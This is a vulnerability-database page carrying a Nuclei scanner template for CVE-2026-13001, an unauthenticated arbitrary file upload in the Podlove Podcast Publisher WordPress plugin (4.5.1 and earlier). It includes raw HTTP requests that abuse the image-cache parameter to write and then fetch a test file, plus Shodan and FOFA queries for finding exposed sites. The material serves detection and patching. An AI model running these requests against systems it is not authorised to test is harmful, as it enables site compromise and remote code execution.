Lucene search
+L

Podlove Podcast Publisher <= 4.5.1 - Arbitrary File Upload

🗓️ 19 Aug 2026 04:15:32Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 4 Views

Podlove Podcast Publisher <= 4.5.1 allows unauthenticated arbitrary file upload to cache dir, enabling RCE.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-13001
15 Jul 202609:58
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-13001
23 Jul 202609:06
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-13001
15 Jul 202619:16
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-13001
16 Jul 202618:57
githubexploit
attackerkb
ATTACKERKB
CVE-2026-13001
14 Jul 202619:33
attackerkb
circl
Circl
CVE-2026-13001
14 Jul 202623:08
circl
cve
CVE
CVE-2026-13001
14 Jul 202619:33
cve
cvelist
Cvelist
CVE-2026-13001 Podlove Podcast Publisher <= 4.5.1 - Unauthenticated Arbitrary File Upload via podlove_image_cache_url Parameter
14 Jul 202619:33
cvelist
euvd
EUVD
EUVD-2026-44402
14 Jul 202621:32
euvd
nvd
NVD
CVE-2026-13001
14 Jul 202620:16
nvd
Rows per page
id: CVE-2026-13001

info:
  name: Podlove Podcast Publisher <= 4.5.1 - Arbitrary File Upload
  author: aryu-ru
  severity: critical
  description: |
    Podlove Podcast Publisher plugin for WordPress through 4.5.1 is vulnerable to arbitrary file uploads due to missing file type validation in the podlove_handle_cache_files function. The image cache derives the stored file extension from the path of the attacker supplied source URL, while the image validation is performed against a different file name taken from the full source URL, so a source URL whose path carries a dangerous extension is written to the cache with that extension.
  impact: |
    An unauthenticated attacker can write files with an arbitrary extension into the web accessible cache directory, which may make remote code execution and full site compromise possible.
  remediation: |
    Update Podlove Podcast Publisher to version 4.5.2 or later.
  reference:
    - https://github.com/podlove/podlove-publisher/commit/5b32468601e903bae2bcacfaf36ff583d2bc9387
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/f81a3429-f378-4295-adbe-ad6f1df59701?source=cve
    - https://github.com/advisories/GHSA-7gcx-p8g5-3g9x
    - https://plugins.trac.wordpress.org/changeset/3597461/podlove-podcasting-plugin-for-wordpress
    - https://nvd.nist.gov/vuln/detail/CVE-2026-13001
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-13001
    epss-score: 0.00828
    epss-percentile: 0.54489
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 2
    vendor: podlove
    product: podlove-podcasting-plugin-for-wordpress
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/podlove-podcasting-plugin-for-wordpress"
    fofa-query: body="/wp-content/plugins/podlove-podcasting-plugin-for-wordpress"
  tags: cve,cve2026,wordpress,wp,wp-plugin,podlove,file-upload,intrusive

variables:
  rnd: "{{randstr}}"
  marker: "{{to_lower(rnd)}}"
  source: "{{RootURL}}/{{marker}}.txt?/wp-content/plugins/podlove-podcasting-plugin-for-wordpress/images/logo/podlove-publisher-icon-500.png"
  cid: "{{md5(concat(source,marker))}}"

http:
  - raw:
      - |
        GET /?podlove_image_cache_url={{hex_encode(source)}}&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name={{marker}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/cache/podlove/{{substr(cid,0,2)}}/{{substr(cid,2)}}/{{marker}}_original.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(hex_encode(body_2), "89504e470d0a1a0a")'
          - 'contains(header_2, "text/plain")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4b0a00483046022100af0247f2d562cc773fb7717478e496852aba961a063df82ed5409b2b40f227c20221009d920577202301f10d868ca3d1fe81aa508617f63b07218a886e3d73a1e40c41:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Aug 2026 13:28Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.19.8
EPSS0.00828
SSVC
4